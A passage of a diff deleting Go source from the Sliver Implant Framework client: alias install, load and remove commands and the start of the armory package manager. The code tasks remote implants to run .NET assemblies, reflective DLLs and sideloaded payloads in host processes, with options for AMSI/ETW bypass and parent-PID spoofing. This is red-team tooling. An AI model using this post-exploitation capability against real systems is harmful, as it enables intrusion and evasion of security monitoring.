-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"fmt"
-	"os"
-	"path/filepath"
-	"strings"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/util"
-	"github.com/spf13/cobra"
-)
-
-// AliasesInstallCmd - Install an alias.
-func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	aliasLocalPath := args[0]
-	fi, err := os.Stat(aliasLocalPath)
-	if os.IsNotExist(err) {
-		con.PrintErrorf("Alias path '%s' does not exist", aliasLocalPath)
-		return
-	}
-	if !fi.IsDir() {
-		InstallFromFile(aliasLocalPath, "", false, con)
-	} else {
-		installFromDir(aliasLocalPath, con)
-	}
-}
-
-// Install an extension from a directory.
-func installFromDir(aliasLocalPath string, con *console.SliverClient) {
-	manifestData, err := os.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
-	if err != nil {
-		con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
-		return
-	}
-	manifest, err := ParseAliasManifest(manifestData)
-	if err != nil {
-		con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
-		return
-	}
-	installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
-	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
-		con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
-		confirm := false
-		prompt := &survey.Confirm{Message: "Overwrite current install?"}
-		survey.AskOne(prompt, &confirm)
-		if !confirm {
-			return
-		}
-		forceRemoveAll(installPath)
-	}
-
-	con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
-	err = os.MkdirAll(installPath, 0o700)
-	if err != nil {
-		con.PrintErrorf("Error creating alias directory: %s\n", err)
-		return
-	}
-	err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
-	if err != nil {
-		con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
-		forceRemoveAll(installPath)
-		return
-	}
-
-	for _, cmdFile := range manifest.Files {
-		if cmdFile.Path != "" {
-			src := filepath.Join(aliasLocalPath, util.ResolvePath(cmdFile.Path))
-			dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
-			err := util.CopyFile(src, dst)
-			if err != nil {
-				con.PrintErrorf("Error copying file '%s' -> '%s': %s\n", src, dst, err)
-				forceRemoveAll(installPath)
-				return
-			}
-		}
-	}
-
-	con.Printf("done!\n")
-}
-
-// Install an extension from a .tar.gz file.
-func InstallFromFile(aliasGzFilePath string, aliasName string, promptToOverwrite bool, con *console.SliverClient) *string {
-	manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
-	if err != nil {
-		con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
-		return nil
-	}
-	manifest, err := ParseAliasManifest(manifestData)
-	if err != nil {
-		errorMsg := ""
-		if aliasName != "" {
-			errorMsg = fmt.Sprintf("Error processing manifest for alias %s - failed to parse %s: %s\n", aliasName, ManifestFileName, err)
-		} else {
-			errorMsg = fmt.Sprintf("Failed to parse %s: %s\n", ManifestFileName, err)
-		}
-		con.PrintErrorf(errorMsg)
-		return nil
-	}
-	installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
-	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
-		if promptToOverwrite {
-			con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
-			confirm := false
-			prompt := &survey.Confirm{Message: "Overwrite current install?"}
-			survey.AskOne(prompt, &confirm)
-			if !confirm {
-				return nil
-			}
-		}
-		forceRemoveAll(installPath)
-	}
-
-	con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
-	err = os.MkdirAll(installPath, 0o700)
-	if err != nil {
-		con.PrintErrorf("Failed to create alias directory: %s\n", err)
-		return nil
-	}
-	err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
-	if err != nil {
-		con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
-		forceRemoveAll(installPath)
-		return nil
-	}
-	for _, aliasFile := range manifest.Files {
-		if aliasFile.Path != "" {
-			err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path)
-			if err != nil {
-				con.PrintErrorf("Failed to install file: %s\n", err)
-				forceRemoveAll(installPath)
-				return nil
-			}
-		}
-	}
-	con.Printf("done!\n")
-	return &installPath
-}
-
-func installArtifact(aliasGzFilePath string, installPath, artifactPath string) error {
-	data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, string(os.PathSeparator))))
-	if err != nil {
-		return err
-	}
-	if len(data) == 0 {
-		return fmt.Errorf("empty file %s", artifactPath)
-	}
-	localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
-	artifactDir := filepath.Dir(localArtifactPath)
-	if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
-		os.MkdirAll(artifactDir, 0o700)
-	}
-	err = os.WriteFile(localArtifactPath, data, 0o600)
-	if err != nil {
-		return err
-	}
-	return nil
-}
-
-func forceRemoveAll(rootPath string) {
-	util.ChmodR(rootPath, 0o600, 0o700)
-	os.RemoveAll(rootPath)
-}

client/command/alias/load.go

@@ -1,539 +0,0 @@
-package alias
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"encoding/json"
-	"fmt"
-	"os"
-	"path"
-	"path/filepath"
-	"strings"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/command/help"
-	"github.com/bishopfox/sliver/client/console"
-	consts "github.com/bishopfox/sliver/client/constants"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/bishopfox/sliver/util"
-	app "github.com/reeflective/console"
-	"github.com/spf13/cobra"
-	"github.com/spf13/pflag"
-	"google.golang.org/protobuf/proto"
-)
-
-const (
-	defaultTimeout = 60
-
-	ManifestFileName = "alias.json"
-
-	windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
-	linuxDefaultHostProc   = "/bin/bash"
-	macosDefaultHostProc   = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
-)
-
-var (
-	// alias name -> manifest/command.
-	loadedAliases = map[string]*loadedAlias{}
-
-	defaultHostProc = map[string]string{
-		"windows": windowsDefaultHostProc,
-		"linux":   windowsDefaultHostProc,
-		"darwin":  macosDefaultHostProc,
-	}
-)
-
-// Ties the manifest struct to the command struct.
-type loadedAlias struct {
-	Manifest *AliasManifest
-	Command  *cobra.Command
-}
-
-// AliasFile - An OS/Arch specific file.
-type AliasFile struct {
-	OS   string `json:"os"`
-	Arch string `json:"arch"`
-	Path string `json:"path"`
-}
-
-// AliasManifest - The manifest for an alias, contains metadata.
-type AliasManifest struct {
-	Name           string `json:"name"`
-	Version        string `json:"version"`
-	CommandName    string `json:"command_name"`
-	OriginalAuthor string `json:"original_author"`
-	RepoURL        string `json:"repo_url"`
-	Help           string `json:"help"`
-	LongHelp       string `json:"long_help"`
-
-	Entrypoint   string       `json:"entrypoint"`
-	AllowArgs    bool         `json:"allow_args"`
-	DefaultArgs  string       `json:"default_args"`
-	Files        []*AliasFile `json:"files"`
-	IsReflective bool         `json:"is_reflective"`
-	IsAssembly   bool         `json:"is_assembly"`
-
-	RootPath   string `json:"-"`
-	ArmoryName string `json:"-"`
-	ArmoryPK   string `json:"-"`
-}
-
-func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
-	proc, ok := defaultHostProc[targetOS]
-	if !ok {
-		err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
-	}
-	return
-}
-
-func (a *AliasManifest) getFileForTarget(_ string, targetOS string, targetArch string) (string, error) {
-	filePath := ""
-	for _, extFile := range a.Files {
-		if targetOS == extFile.OS && targetArch == extFile.Arch {
-			filePath = path.Join(assets.GetAliasesDir(), a.CommandName, extFile.Path)
-			break
-		}
-	}
-	if filePath == "" {
-		err := fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
-		return "", err
-	}
-	if _, err := os.Stat(filePath); os.IsNotExist(err) {
-		err = fmt.Errorf("alias file not found: %s", filePath)
-		return "", err
-	}
-	return filePath, nil
-}
-
-// AliasesLoadCmd - Locally load a alias into the Sliver shell.
-func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	dirPath := args[0]
-	// dirPath := ctx.Args.String("dir-path")
-	alias, err := LoadAlias(dirPath, cmd.Root(), con)
-	if err != nil {
-		con.PrintErrorf("Failed to load alias: %s\n", err)
-	} else {
-		con.PrintInfof("%s alias has been loaded\n", alias.Name)
-	}
-}
-
-// LoadAlias - Load an alias into the Sliver shell from a given directory.
-func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClient) (*AliasManifest, error) {
-	// retrieve alias manifest
-	var err error
-	manifestPath, err = filepath.Abs(manifestPath)
-	if err != nil {
-		return nil, err
-	}
-
-	// parse it
-	data, err := os.ReadFile(manifestPath)
-	if err != nil {
-		return nil, err
-	}
-	aliasManifest, err := ParseAliasManifest(data)
-	if err != nil {
-		return nil, err
-	}
-	aliasManifest.RootPath = filepath.Dir(manifestPath)
-
-	// for each alias command, add a new app command
-	helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
-	longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
-	longHelpMsg += "\n\n⚠️  If you're having issues passing arguments to the alias please read:\n"
-	longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
-	addAliasCmd := &cobra.Command{
-		Use:   aliasManifest.CommandName,
-		Short: helpMsg,
-		Long:  longHelpMsg,
-		Run: func(cmd *cobra.Command, args []string) {
-			runAliasCommand(cmd, con, args)
-		},
-		Args:        cobra.ArbitraryArgs, // 	a.StringList("arguments", "arguments", grumble.Default([]string{}))
-		GroupID:     consts.AliasHelpGroup,
-		Annotations: makeAliasPlatformFilters(aliasManifest),
-	}
-
-	if aliasManifest.IsAssembly {
-		f := pflag.NewFlagSet("assembly", pflag.ContinueOnError)
-		f.StringP("method", "m", "", "Optional method (a method is required for a .NET DLL)")
-		f.StringP("class", "c", "", "Optional class name (required for .NET DLL)")
-		f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
-		f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
-		f.BoolP("in-process", "i", false, "Run in the current sliver process")
-		f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
-		f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
-		f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
-		addAliasCmd.Flags().AddFlagSet(f)
-	}
-
-	f := pflag.NewFlagSet(aliasManifest.Name, pflag.ContinueOnError)
-	f.StringP("process", "p", "", "Path to process to host the shared object")
-	f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process")
-	f.Uint32P("ppid", "P", 0, "parent process ID to use when creating the hosting process (Windows only)")
-	f.BoolP("save", "s", false, "Save output to disk")
-	f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
-	addAliasCmd.Flags().AddFlagSet(f)
-
-	cmd.AddCommand(addAliasCmd)
-
-	// Have to use a global map here, as passing the aliasCmd
-	// either by value or by ref fucks things up
-	loadedAliases[aliasManifest.CommandName] = &loadedAlias{
-		Manifest: aliasManifest,
-		Command:  addAliasCmd,
-	}
-
-	return aliasManifest, nil
-}
-
-// ParseAliasManifest - Parse an alias manifest.
-func ParseAliasManifest(data []byte) (*AliasManifest, error) {
-	// parse it
-	alias := &AliasManifest{}
-	err := json.Unmarshal(data, alias)
-	if err != nil {
-		return nil, err
-	}
-	if alias.Name == "" {
-		return nil, fmt.Errorf("missing alias name in manifest")
-	}
-	if alias.CommandName == "" {
-		return nil, fmt.Errorf("missing command.name in alias manifest")
-	}
-	if alias.Help == "" {
-		return nil, fmt.Errorf("missing command.help in alias manifest")
-	}
-
-	for _, aliasFile := range alias.Files {
-		if aliasFile.OS == "" {
-			return nil, fmt.Errorf("missing command.files.os in alias manifest")
-		}
-		aliasFile.OS = strings.ToLower(aliasFile.OS)
-		if aliasFile.Arch == "" {
-			return nil, fmt.Errorf("missing command.files.arch in alias manifest")
-		}
-		aliasFile.Arch = strings.ToLower(aliasFile.Arch)
-		aliasFile.Path = util.ResolvePath(aliasFile.Path)
-		if aliasFile.Path == "" || aliasFile.Path == "/" {
-			return nil, fmt.Errorf("missing command.files.path in alias manifest")
-		}
-	}
-
-	return alias, nil
-}
-
-func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		return
-	}
-	var goos string
-	var goarch string
-	if session != nil {
-		goos = session.OS
-		goarch = session.Arch
-	} else {
-		goos = beacon.OS
-		goarch = beacon.Arch
-	}
-
-	loadedAlias, ok := loadedAliases[cmd.Name()]
-	if !ok {
-		con.PrintErrorf("No alias found for `%s` command\n", cmd.Name())
-		return
-	}
-	aliasManifest := loadedAlias.Manifest
-	binPath, err := aliasManifest.getFileForTarget(cmd.Name(), goos, goarch)
-	if err != nil {
-		con.PrintErrorf("Fail to find alias file: %s\n", err)
-		return
-	}
-	// args := ctx.Args.StringList("arguments")
-	var extArgsStr string
-	if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
-		extArgsStr = aliasManifest.DefaultArgs
-	} else {
-		extArgsStr = strings.Join(args, " ")
-	}
-
-	extArgsStr = strings.TrimSpace(extArgsStr)
-	entryPoint := aliasManifest.Entrypoint
-	processArgsStr, _ := cmd.Flags().GetString("process-arguments")
-	// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
-	// The Donut loader has a hard limit of 256 characters for the command line arguments, so
-	// we're alerting the user that the arguments will be truncated.
-	if len(extArgsStr) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
-		msgStr := ""
-		// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
-		// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
-		// if the flag is not registered.
-		if aliasManifest.IsAssembly {
-			inProcess, _ := cmd.Flags().GetBool("in-process")
-			runtime, _ := cmd.Flags().GetString("runtime")
-			amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
-			etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
-			if !inProcess {
-				msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n"
-			}
-			if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
-				con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
-				return
-			}
-		} else if !aliasManifest.IsReflective {
-			msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for non-reflective PE payloads.\n"
-		}
-		con.PrintWarnf(msgStr)
-		confirm := false
-		prompt := &survey.Confirm{Message: "Do you want to continue?"}
-		survey.AskOne(prompt, &confirm, nil)
-		if !confirm {
-			return
-		}
-	}
-	processArgs := strings.Split(processArgsStr, " ")
-	processName, _ := cmd.Flags().GetString("process")
-	if processName == "" {
-		processName, err = aliasManifest.getDefaultProcess(goos)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-	isDLL := false
-	if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
-		isDLL = true
-	}
-	binData, err := os.ReadFile(binPath)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	var outFilePath *os.File
-	if save, _ := cmd.Flags().GetBool("save"); save {
-		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(cmd.Name()), filepath.Base(session.GetHostname())))
-		outFilePath, err = os.CreateTemp("", outFile)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-
-	if aliasManifest.IsAssembly {
-
-		// Flags
-		arch, _ := cmd.Flags().GetString("arch")
-		method, _ := cmd.Flags().GetString("method")
-		className, _ := cmd.Flags().GetString("class")
-		appDomain, _ := cmd.Flags().GetString("app-domain")
-		pPid, _ := cmd.Flags().GetUint32("ppid")
-		inProcess, _ := cmd.Flags().GetBool("in-process")
-		runtime, _ := cmd.Flags().GetString("runtime")
-		amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
-		etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
-
-		// Execute Assembly
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
-		con.SpinUntil(msg, ctrl)
-		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-			Request:     con.ActiveTarget.Request(cmd),
-			IsDLL:       isDLL,
-			Process:     processName,
-			Arguments:   args,
-			Assembly:    binData,
-			Arch:        arch,
-			Method:      method,
-			ClassName:   className,
-			AppDomain:   appDomain,
-			ProcessArgs: processArgs,
-			PPid:        pPid,
-			InProcess:   inProcess,
-			Runtime:     runtime,
-			AmsiBypass:  amsiBypass,
-			EtwBypass:   etwBypass,
-		})
-		ctrl <- true
-		<-ctrl
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-
-		if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
-			con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
-				err = proto.Unmarshal(task.Response, executeAssemblyResp)
-				if err != nil {
-					con.PrintErrorf("Failed to decode call ext response %s\n", err)
-					return
-				}
-				PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
-			})
-			con.PrintAsyncResponse(executeAssemblyResp.Response)
-		} else {
-			PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
-		}
-
-	} else if aliasManifest.IsReflective {
-		// Flags
-		pPid, _ := cmd.Flags().GetUint32("ppid")
-
-		// Spawn DLL
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
-		con.SpinUntil(msg, ctrl)
-		spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
-			Request:     con.ActiveTarget.Request(cmd),
-			Args:        args,
-			Data:        binData,
-			ProcessName: processName,
-			EntryPoint:  aliasManifest.Entrypoint,
-			Kill:        true,
-			ProcessArgs: processArgs,
-			PPid:        pPid,
-		})
-		ctrl <- true
-		<-ctrl
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-
-		if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
-			con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
-				err = proto.Unmarshal(task.Response, spawnDllResp)
-				if err != nil {
-					con.PrintErrorf("Failed to decode call ext response %s\n", err)
-					return
-				}
-				PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
-			})
-			con.PrintAsyncResponse(spawnDllResp.Response)
-		} else {
-			PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
-		}
-
-	} else {
-		// Flags
-		pPid, _ := cmd.Flags().GetUint32("ppid")
-
-		// Sideload
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
-		con.SpinUntil(msg, ctrl)
-		sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
-			Request:     con.ActiveTarget.Request(cmd),
-			Args:        args,
-			Data:        binData,
-			EntryPoint:  entryPoint,
-			ProcessName: processName,
-			Kill:        true,
-			IsDLL:       isDLL,
-			ProcessArgs: processArgs,
-			PPid:        pPid,
-		})
-		ctrl <- true
-		<-ctrl
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-
-		if sideloadResp.Response != nil && sideloadResp.Response.Async {
-			con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
-				err = proto.Unmarshal(task.Response, sideloadResp)
-				if err != nil {
-					con.PrintErrorf("Failed to decode call ext response %s\n", err)
-					return
-				}
-				PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
-			})
-			con.PrintAsyncResponse(sideloadResp.Response)
-		} else {
-			PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
-		}
-	}
-}
-
-// PrintSpawnDLLOutput - Prints the output of a spawn dll command.
-func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverClient) {
-	con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
-	if outFilePath != nil {
-		outFilePath.WriteString(spawnDllResp.GetResult())
-		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-	}
-}
-
-// PrintSideloadOutput - Prints the output of a sideload command.
-func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverClient) {
-	con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
-	if outFilePath != nil {
-		outFilePath.WriteString(sideloadResp.GetResult())
-		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-	}
-}
-
-// PrintAssemblyOutput - Prints the output of an execute-assembly command.
-func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverClient) {
-	con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
-	if outFilePath != nil {
-		outFilePath.Write(execAsmResp.GetOutput())
-		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-	}
-}
-
-func makeAliasPlatformFilters(alias *AliasManifest) map[string]string {
-	filtersOS := make(map[string]bool)
-	filtersArch := make(map[string]bool)
-
-	var all []string
-
-	// Only add filters for architectures when there OS matters.
-	for _, file := range alias.Files {
-		filtersOS[file.OS] = true
-
-		if filtersOS[file.OS] {
-			filtersArch[file.Arch] = true
-		}
-	}
-
-	for os, enabled := range filtersOS {
-		if enabled {
-			all = append(all, os)
-		}
-	}
-
-	for arch, enabled := range filtersArch {
-		if enabled {
-			all = append(all, arch)
-		}
-	}
-
-	if len(all) == 0 {
-		return map[string]string{}
-	}
-
-	return map[string]string{
-		app.CommandFilterKey: strings.Join(all, ","),
-	}
-}

client/command/alias/remove.go

@@ -1,76 +0,0 @@
-package alias
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"errors"
-	"fmt"
-	"os"
-	"path/filepath"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/spf13/cobra"
-)
-
-// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
-func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	name := args[0]
-	// name := ctx.Args.String("name")
-	if name == "" {
-		con.PrintErrorf("Extension name is required\n")
-		return
-	}
-	confirm := false
-	prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
-	survey.AskOne(prompt, &confirm)
-	if !confirm {
-		return
-	}
-	err := RemoveAliasByCommandName(name, con)
-	if err != nil {
-		con.PrintErrorf("Error removing alias: %s\n", err)
-		return
-	} else {
-		con.PrintInfof("Alias '%s' removed\n", name)
-	}
-}
-
-// RemoveAliasByCommandName - Remove an alias by command name.
-func RemoveAliasByCommandName(commandName string, con *console.SliverClient) error {
-	if commandName == "" {
-		return errors.New("command name is required")
-	}
-	if _, ok := loadedAliases[commandName]; !ok {
-		return errors.New("alias not loaded")
-	}
-	delete(loadedAliases, commandName)
-	// con.App.Commands().Remove(commandName)
-	extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
-	if _, err := os.Stat(extPath); os.IsNotExist(err) {
-		return nil
-	}
-	err := os.RemoveAll(extPath)
-	if err != nil {
-		return err
-	}
-
-	return nil
-}

client/command/armory/armory.go

@@ -1,836 +0,0 @@
-package armory
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"encoding/base64"
-	"errors"
-	"fmt"
-	"net/url"
-	"slices"
-	"sync"
-	"time"
-
-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-	"golang.org/x/term"
-
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/command/alias"
-	"github.com/bishopfox/sliver/client/command/extensions"
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/util/minisign"
-)
-
-// ArmoryIndex - Index JSON containing alias/extension/bundle information
-type ArmoryIndex struct {
-	ArmoryConfig *assets.ArmoryConfig `json:"-"`
-	Aliases      []*ArmoryPackage     `json:"aliases"`
-	Extensions   []*ArmoryPackage     `json:"extensions"`
-	Bundles      []*ArmoryBundle      `json:"bundles"`
-}
-
-// ArmoryPackage - JSON metadata for alias or extension
-type ArmoryPackage struct {
-	Name        string `json:"name"`
-	CommandName string `json:"command_name"`
-	RepoURL     string `json:"repo_url"`
-	PublicKey   string `json:"public_key"`
-
-	IsAlias    bool   `json:"-"`
-	ArmoryName string `json:"-"`
-	/*
-		With support for multiple armories, the command name of a package
-		is not unique anymore, so we need something that is unique
-		to be able to keep track of packages.
-
-		This ID will be a hash calculated from properties of the package.
-	*/
-	ID       string `json:"-"`
-	ArmoryPK string `json:"-"`
-}
-
-// ArmoryBundle - A list of packages
-type ArmoryBundle struct {
-	Name       string   `json:"name"`
-	Packages   []string `json:"packages"`
-	ArmoryName string   `json:"-"`
-}
-
-// ArmoryHTTPConfig - Configuration for armory HTTP client
-type ArmoryHTTPConfig struct {
-	ArmoryConfig         *assets.ArmoryConfig
-	IgnoreCache          bool
-	ProxyURL             *url.URL
-	Timeout              time.Duration
-	DisableTLSValidation bool
-}
-
-type indexCacheEntry struct {
-	ArmoryConfig *assets.ArmoryConfig
-	RepoURL      string
-	Fetched      time.Time
-	Index        ArmoryIndex
-	LastErr      error
-}
-
-type pkgCacheEntry struct {
-	ArmoryConfig *assets.ArmoryConfig
-	RepoURL      string
-	Fetched      time.Time
-	Pkg          ArmoryPackage
-	Sig          minisign.Signature
-	Alias        *alias.AliasManifest
-	Extension    *extensions.ExtensionManifest
-	LastErr      error
-	// This corresponds to Pkg.ID
-	ID string
-}
-
-var (
-	// public key -> armoryCacheEntry
-	indexCache = sync.Map{}
-	// package ID -> armoryPkgCacheEntry
-	pkgCache = sync.Map{}
-	// public key -> assets.ArmoryConfig
-	currentArmories = sync.Map{}
-
-	// cacheTime - How long to cache the index/pkg manifests
-	//cacheTime = time.Hour
-	cacheTime = 2 * time.Minute
-
-	// This will kill a download if exceeded so needs to be large
-	defaultTimeout = 15 * time.Minute
-
-	// Track whether armories have been initialized so that we know if we need to pull from the config
-	armoriesInitialized = false
-
-	// Track whether the default armory has been removed by the user (this is needed to prevent it from being readded in if they have removed it)
-	defaultArmoryRemoved = false
-)
-
-// ArmoryCmd - The main armory command
-func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	armoriesConfig := getCurrentArmoryConfiguration()
-	if len(armoriesConfig) == 1 {
-		con.Printf("Reading armory index ... ")
-	} else {
-		con.PrintInfof("Reading %d armory indexes ... ", len(armoriesConfig))
-	}
-	clientConfig := parseArmoryHTTPConfig(cmd)
-	indexes := fetchIndexes(clientConfig)
-	if len(indexes) != len(armoriesConfig) {
-		indexCache.Range(func(key, value interface{}) bool {
-			cacheEntry := value.(indexCacheEntry)
-			if cacheEntry.LastErr != nil {
-				con.PrintErrorf("%s (%s) - %s\n", cacheEntry.ArmoryConfig.Name, cacheEntry.RepoURL, cacheEntry.LastErr)
-			}
-			return true
-		})
-	} else {
-		con.Printf("done!\n")
-	}
-	armoriesInitialized = true
